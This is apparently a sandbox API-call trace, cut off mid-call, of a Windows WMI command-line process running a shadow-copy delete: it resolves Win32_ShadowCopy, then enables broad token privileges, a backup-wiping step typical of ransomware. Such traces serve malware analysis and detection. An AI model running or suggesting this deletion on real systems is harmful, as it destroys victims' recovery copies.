[0066.887] malloc (_Size=0x8) returned 0x2c3228 [0066.887] lstrlenW (lpString="QUIT") returned 4 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0066.887] lstrlenW (lpString="EXIT") returned 4 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0066.887] free (_Block=0x2c3228) [0066.887] WbemLocator:IUnknown:AddRef (This=0x9d0828) returned 0x2 [0066.887] malloc (_Size=0x8) returned 0x2c3228 [0066.887] lstrlenW (lpString="/") returned 1 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0066.887] lstrlenW (lpString="-") returned 1 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0066.887] lstrlenW (lpString="CLASS") returned 5 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0066.887] lstrlenW (lpString="PATH") returned 4 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0066.887] lstrlenW (lpString="CONTEXT") returned 7 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] malloc (_Size=0x16) returned 0x2ceb88 [0066.887] lstrlenW (lpString="shadowcopy") returned 10 [0066.887] GetCurrentThreadId () returned 0xca8 [0066.887] ??0CHString@@QAE@XZ () returned 0x1df5a4 [0066.888] malloc (_Size=0xc) returned 0x2642078 [0066.888] malloc (_Size=0xc) returned 0x26420a8 [0066.888] WbemLocator:IWbemLocator:ConnectServer (in: This=0x9d0828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c1e0 | out: ppNamespace=0xd1c1e0*=0x9dd00c) returned 0x0 [0067.003] free (_Block=0x26420a8) [0067.003] free (_Block=0x2642078) [0067.003] CoSetProxyBlanket (pProxy=0x9dd00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0067.004] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.004] GetCurrentThreadId () returned 0xca8 [0067.004] ??0CHString@@QAE@XZ () returned 0x1df53c [0067.004] malloc (_Size=0xc) returned 0x2642078 [0067.004] malloc (_Size=0xc) returned 0x26420a8 [0067.004] malloc (_Size=0xc) returned 0x26420c0 [0067.004] malloc (_Size=0xc) returned 0x26420d8 [0067.004] SysStringLen (param_1="root\\cli") returned 0x8 [0067.004] SysStringLen (param_1="\\") returned 0x1 [0067.004] malloc (_Size=0xc) returned 0x26420f0 [0067.004] SysStringLen (param_1="root\\cli\\") returned 0x9 [0067.004] SysStringLen (param_1="ms_409") returned 0x6 [0067.004] free (_Block=0x26420d8) [0067.004] free (_Block=0x26420c0) [0067.005] free (_Block=0x26420a8) [0067.005] free (_Block=0x2642078) [0067.005] malloc (_Size=0xc) returned 0x2642078 [0067.005] WbemLocator:IWbemLocator:ConnectServer (in: This=0x9d0828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c1e4 | out: ppNamespace=0xd1c1e4*=0x9dd064) returned 0x0 [0067.093] free (_Block=0x2642078) [0067.093] free (_Block=0x26420f0) [0067.093] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.093] GetCurrentThreadId () returned 0xca8 [0067.093] ??0CHString@@QAE@XZ () returned 0x1df5a8 [0067.093] malloc (_Size=0xc) returned 0x26420f0 [0067.093] malloc (_Size=0xc) returned 0x2642078 [0067.093] malloc (_Size=0xc) returned 0x26420a8 [0067.093] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0067.094] malloc (_Size=0x3a) returned 0x2cfeb0 [0067.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd1f7c, cbMultiByte=-1, lpWideCharStr=0x2cfeb0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0067.094] free (_Block=0x2cfeb0) [0067.094] malloc (_Size=0xc) returned 0x26420c0 [0067.094] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0067.094] SysStringLen (param_1="shadowcopy") returned 0xa [0067.094] malloc (_Size=0xc) returned 0x26420d8 [0067.094] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0067.094] SysStringLen (param_1="'") returned 0x1 [0067.094] free (_Block=0x26420c0) [0067.094] free (_Block=0x26420a8) [0067.094] free (_Block=0x2642078) [0067.094] free (_Block=0x26420f0) [0067.094] IWbemServices:GetObject (in: This=0x9dd00c, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x1df5a4*=0x0, ppCallResult=0x0 | out: ppObject=0x1df5a4*=0x9e9a18, ppCallResult=0x0) returned 0x0 [0067.215] malloc (_Size=0xc) returned 0x26420f0 [0067.215] IWbemClassObject:Get (in: This=0x9e9a18, wszName="Target", lFlags=0, pVal=0x1df564*(varType=0x0, wReserved1=0x1d, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0xffffffff, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x1df564*(varType=0x8, wReserved1=0x1d, wReserved2=0xe58c, wReserved3=0xd0, varVal1="Select * from Win32_ShadowCopy", varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.215] free (_Block=0x26420f0) [0067.215] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.215] malloc (_Size=0x3e) returned 0x2cfeb0 [0067.215] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.215] malloc (_Size=0xc) returned 0x26420f0 [0067.215] IWbemClassObject:Get (in: This=0x9e9a18, wszName="PWhere", lFlags=0, pVal=0x1df564*(varType=0x0, wReserved1=0x1d, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x5a4fec, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x1df564*(varType=0x8, wReserved1=0x1d, wReserved2=0xe58c, wReserved3=0xd0, varVal1=" Where ID = '#'", varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.215] free (_Block=0x26420f0) [0067.215] lstrlenW (lpString=" Where ID = '#'") returned 15 [0067.215] malloc (_Size=0x20) returned 0x2cfef8 [0067.215] lstrlenW (lpString=" Where ID = '#'") returned 15 [0067.215] malloc (_Size=0xc) returned 0x26420f0 [0067.215] IWbemClassObject:Get (in: This=0x9e9a18, wszName="Connection", lFlags=0, pVal=0x1df564*(varType=0x0, wReserved1=0x1d, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x5d69d4, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x1df564*(varType=0xd, wReserved1=0x1d, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x9e9dd8, varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.216] free (_Block=0x26420f0) [0067.216] IUnknown:QueryInterface (in: This=0x9e9dd8, riid=0xcd6b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1df59c | out: ppvObject=0x1df59c*=0x9e9dd8) returned 0x0 [0067.216] GetCurrentThreadId () returned 0xca8 [0067.216] ??0CHString@@QAE@XZ () returned 0x1df518 [0067.216] malloc (_Size=0xc) returned 0x26420f0 [0067.217] IWbemClassObject:Get (in: This=0x9e9dd8, wszName="Namespace", lFlags=0, pVal=0x1df4e8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1df4e8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.217] free (_Block=0x26420f0) [0067.217] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0067.217] malloc (_Size=0x16) returned 0x2cebc8 [0067.217] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0067.217] malloc (_Size=0xc) returned 0x26420f0 [0067.217] IWbemClassObject:Get (in: This=0x9e9dd8, wszName="Locale", lFlags=0, pVal=0x1df4e8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1df4e8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.217] free (_Block=0x26420f0) [0067.217] lstrlenW (lpString="ms_409") returned 6 [0067.217] malloc (_Size=0xe) returned 0x26420f0 [0067.217] lstrlenW (lpString="ms_409") returned 6 [0067.217] malloc (_Size=0xc) returned 0x2642078 [0067.217] IWbemClassObject:Get (in: This=0x9e9dd8, wszName="User", lFlags=0, pVal=0x1df4e8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1df4e8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.217] free (_Block=0x2642078) [0067.217] malloc (_Size=0xc) returned 0x2642078 [0067.217] IWbemClassObject:Get (in: This=0x9e9dd8, wszName="Password", lFlags=0, pVal=0x1df4e8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1df4e8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.217] free (_Block=0x2642078) [0067.217] malloc (_Size=0xc) returned 0x2642078 [0067.217] IWbemClassObject:Get (in: This=0x9e9dd8, wszName="Server", lFlags=0, pVal=0x1df4e8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1df4e8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.217] free (_Block=0x2642078) [0067.217] lstrlenW (lpString=".") returned 1 [0067.217] malloc (_Size=0x4) returned 0x2cff20 [0067.217] lstrlenW (lpString=".") returned 1 [0067.217] malloc (_Size=0xc) returned 0x2642078 [0067.218] IWbemClassObject:Get (in: This=0x9e9dd8, wszName="Authority", lFlags=0, pVal=0x1df4e8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1df4e8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x264, varVal1=0x5e58ac, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.218] free (_Block=0x2642078) [0067.218] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.218] IUnknown:Release (This=0x9e9dd8) returned 0x1 [0067.218] GetCurrentThreadId () returned 0xca8 [0067.218] ??0CHString@@QAE@XZ () returned 0x1df510 [0067.218] malloc (_Size=0xc) returned 0x2642078 [0067.218] IWbemClassObject:Get (in: This=0x9e9a18, wszName="__RELPATH", lFlags=0, pVal=0x1df4f0*(varType=0x0, wReserved1=0x74ba, wReserved2=0x0, wReserved3=0x9d, varVal1=0x0, varVal2=0x9e9dd8), pType=0x0, plFlavor=0x0 | out: pVal=0x1df4f0*(varType=0x8, wReserved1=0x74ba, wReserved2=0x0, wReserved3=0x9d, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x9e9dd8), pType=0x0, plFlavor=0x0) returned 0x0 [0067.218] free (_Block=0x2642078) [0067.218] malloc (_Size=0xc) returned 0x2642078 [0067.218] GetCurrentThreadId () returned 0xca8 [0067.218] ??0CHString@@QAE@XZ () returned 0x1df4a0 [0067.218] ??0CHString@@QAE@PBG@Z () returned 0x1df48c [0067.218] ??0CHString@@QAE@ABV0@@Z () returned 0x1df42c [0067.218] ?Empty@CHString@@QAEXXZ () returned 0x74c20510 [0067.218] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x2cff30 [0067.218] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0067.218] ?Left@CHString@@QBE?AV1@H@Z () returned 0x1df40c [0067.218] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x1df410 [0067.218] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x1df48c [0067.218] ??1CHString@@QAE@XZ () returned 0x1 [0067.218] ??1CHString@@QAE@XZ () returned 0x1 [0067.218] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x1df408 [0067.218] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x1df42c [0067.218] ??1CHString@@QAE@XZ () returned 0x1 [0067.218] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x2cff98 [0067.218] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0067.218] ?Left@CHString@@QBE?AV1@H@Z () returned 0x1df40c [0067.218] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x1df410 [0067.219] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x1df48c [0067.219] ??1CHString@@QAE@XZ () returned 0x1 [0067.219] ??1CHString@@QAE@XZ () returned 0x1 [0067.219] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x1df408 [0067.219] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x1df42c [0067.219] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.219] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x74c20504 [0067.219] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.219] malloc (_Size=0xc) returned 0x26420a8 [0067.219] malloc (_Size=0xc) returned 0x26420c0 [0067.219] malloc (_Size=0xc) returned 0x2642108 [0067.219] malloc (_Size=0xc) returned 0x2642120 [0067.219] malloc (_Size=0xc) returned 0x2642138 [0067.219] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0067.219] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0067.219] malloc (_Size=0xc) returned 0x2642150 [0067.219] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0067.219] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0067.219] malloc (_Size=0xc) returned 0x2642168 [0067.219] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0067.219] SysStringLen (param_1="\"") returned 0x1 [0067.220] free (_Block=0x2642150) [0067.220] free (_Block=0x2642138) [0067.220] free (_Block=0x2642120) [0067.220] free (_Block=0x2642108) [0067.220] free (_Block=0x26420c0) [0067.220] free (_Block=0x26420a8) [0067.220] IWbemServices:GetObject (in: This=0x9dd064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x1df4a8*=0x0, ppCallResult=0x0 | out: ppObject=0x1df4a8*=0x9e9e68, ppCallResult=0x0) returned 0x0 [0067.273] malloc (_Size=0xc) returned 0x26420a8 [0067.273] IWbemClassObject:Get (in: This=0x9e9e68, wszName="Text", lFlags=0, pVal=0x1df454*(varType=0x0, wReserved1=0x5a, wReserved2=0x3954, wReserved3=0x5a, varVal1=0x4e, varVal2=0xd1c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1df454*(varType=0x2008, wReserved1=0x5a, wReserved2=0x3954, wReserved3=0x5a, varVal1=0x5c84b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d8f30, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0xd1c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.273] free (_Block=0x26420a8) [0067.273] SafeArrayGetLBound (in: psa=0x5c84b8, nDim=0x1, plLbound=0x1df46c | out: plLbound=0x1df46c) returned 0x0 [0067.273] SafeArrayGetUBound (in: psa=0x5c84b8, nDim=0x1, plUbound=0x1df468 | out: plUbound=0x1df468) returned 0x0 [0067.273] SafeArrayGetElement (in: psa=0x5c84b8, rgIndices=0x1df4cc, pv=0x1df494 | out: pv=0x1df494) returned 0x0 [0067.273] malloc (_Size=0xc) returned 0x26420a8 [0067.273] malloc (_Size=0xc) returned 0x26420c0 [0067.273] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0067.273] free (_Block=0x26420a8) [0067.273] IUnknown:Release (This=0x9e9e68) returned 0x0 [0067.274] free (_Block=0x2642168) [0067.274] ??1CHString@@QAE@XZ () returned 0x1 [0067.274] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.274] free (_Block=0x2642078) [0067.274] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.274] lstrlenW (lpString="Shadow copy management.") returned 23 [0067.274] malloc (_Size=0x30) returned 0x2cff30 [0067.274] lstrlenW (lpString="Shadow copy management.") returned 23 [0067.274] free (_Block=0x26420c0) [0067.274] IUnknown:Release (This=0x9e9a18) returned 0x0 [0067.274] free (_Block=0x26420d8) [0067.274] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.274] lstrlenW (lpString="PATH") returned 4 [0067.274] lstrlenW (lpString="delete") returned 6 [0067.274] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0067.274] lstrlenW (lpString="WHERE") returned 5 [0067.274] lstrlenW (lpString="delete") returned 6 [0067.274] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0067.274] lstrlenW (lpString="(") returned 1 [0067.274] lstrlenW (lpString="delete") returned 6 [0067.274] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0067.274] lstrlenW (lpString="/") returned 1 [0067.274] lstrlenW (lpString="delete") returned 6 [0067.274] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0067.274] lstrlenW (lpString="-") returned 1 [0067.274] lstrlenW (lpString="delete") returned 6 [0067.274] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0067.274] malloc (_Size=0xc) returned 0x26420d8 [0067.274] lstrlenW (lpString="GET") returned 3 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.275] lstrlenW (lpString="LIST") returned 4 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.275] lstrlenW (lpString="SET") returned 3 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.275] lstrlenW (lpString="CREATE") returned 6 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.275] lstrlenW (lpString="CALL") returned 4 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.275] lstrlenW (lpString="ASSOC") returned 5 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.275] lstrlenW (lpString="DELETE") returned 6 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.275] free (_Block=0x26420d8) [0067.275] lstrlenW (lpString="/") returned 1 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0067.275] lstrlenW (lpString="-") returned 1 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] malloc (_Size=0xe) returned 0x26420d8 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] lstrlenW (lpString="GET") returned 3 [0067.275] lstrlenW (lpString="delete") returned 6 [0067.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.276] lstrlenW (lpString="LIST") returned 4 [0067.276] lstrlenW (lpString="delete") returned 6 [0067.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.276] lstrlenW (lpString="SET") returned 3 [0067.276] lstrlenW (lpString="delete") returned 6 [0067.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.276] lstrlenW (lpString="CREATE") returned 6 [0067.276] lstrlenW (lpString="delete") returned 6 [0067.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.276] lstrlenW (lpString="CALL") returned 4 [0067.276] lstrlenW (lpString="delete") returned 6 [0067.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.276] lstrlenW (lpString="ASSOC") returned 5 [0067.276] lstrlenW (lpString="delete") returned 6 [0067.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.276] lstrlenW (lpString="DELETE") returned 6 [0067.276] lstrlenW (lpString="delete") returned 6 [0067.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.276] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.276] malloc (_Size=0x3e) returned 0x2cff68 [0067.276] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.276] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xddc38caa | out: _String="Select", _Context=0xddc38caa) returned="Select" [0067.276] malloc (_Size=0xc) returned 0x26420c0 [0067.276] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xddc38caa | out: _String=0x0, _Context=0xddc38caa) returned="*" [0067.276] lstrlenW (lpString="FROM") returned 4 [0067.276] lstrlenW (lpString="*") returned 1 [0067.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0067.276] malloc (_Size=0xc) returned 0x2642078 [0067.276] free (_Block=0x26420c0) [0067.276] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xddc38caa | out: _String=0x0, _Context=0xddc38caa) returned="from" [0067.276] lstrlenW (lpString="FROM") returned 4 [0067.277] lstrlenW (lpString="from") returned 4 [0067.277] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0067.277] malloc (_Size=0xc) returned 0x26420c0 [0067.277] free (_Block=0x2642078) [0067.277] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xddc38caa | out: _String=0x0, _Context=0xddc38caa) returned="Win32_ShadowCopy" [0067.277] malloc (_Size=0xc) returned 0x2642078 [0067.277] free (_Block=0x26420c0) [0067.277] free (_Block=0x2cff68) [0067.277] free (_Block=0x2642078) [0067.277] lstrlenW (lpString="SET") returned 3 [0067.277] lstrlenW (lpString="delete") returned 6 [0067.277] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.277] lstrlenW (lpString="CREATE") returned 6 [0067.277] lstrlenW (lpString="delete") returned 6 [0067.277] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.277] free (_Block=0x2c3228) [0067.277] malloc (_Size=0x4) returned 0x2c3228 [0067.277] lstrlenW (lpString="GET") returned 3 [0067.277] lstrlenW (lpString="delete") returned 6 [0067.277] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.277] lstrlenW (lpString="LIST") returned 4 [0067.277] lstrlenW (lpString="delete") returned 6 [0067.277] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.277] lstrlenW (lpString="ASSOC") returned 5 [0067.277] lstrlenW (lpString="delete") returned 6 [0067.277] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.277] WbemLocator:IUnknown:AddRef (This=0x9d0828) returned 0x3 [0067.277] free (_Block=0x2c2860) [0067.277] lstrlenW (lpString="") returned 0 [0067.277] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0067.278] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.278] malloc (_Size=0x14) returned 0x2cebe8 [0067.278] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.278] GetCurrentThreadId () returned 0xca8 [0067.278] GetCurrentProcess () returned 0xffffffff [0067.278] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x1df610 | out: TokenHandle=0x1df610*=0x2a0) returned 1 [0067.278] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1df60c | out: TokenInformation=0x0, ReturnLength=0x1df60c) returned 0 [0067.278] malloc (_Size=0x118) returned 0x2642448 [0067.278] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x3, TokenInformation=0x2642448, TokenInformationLength=0x118, ReturnLength=0x1df60c | out: TokenInformation=0x2642448, ReturnLength=0x1df60c) returned 1 [0067.278] AdjustTokenPrivileges (in: TokenHandle=0x2a0, DisableAllPrivileges=0, NewState=0x2642448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, 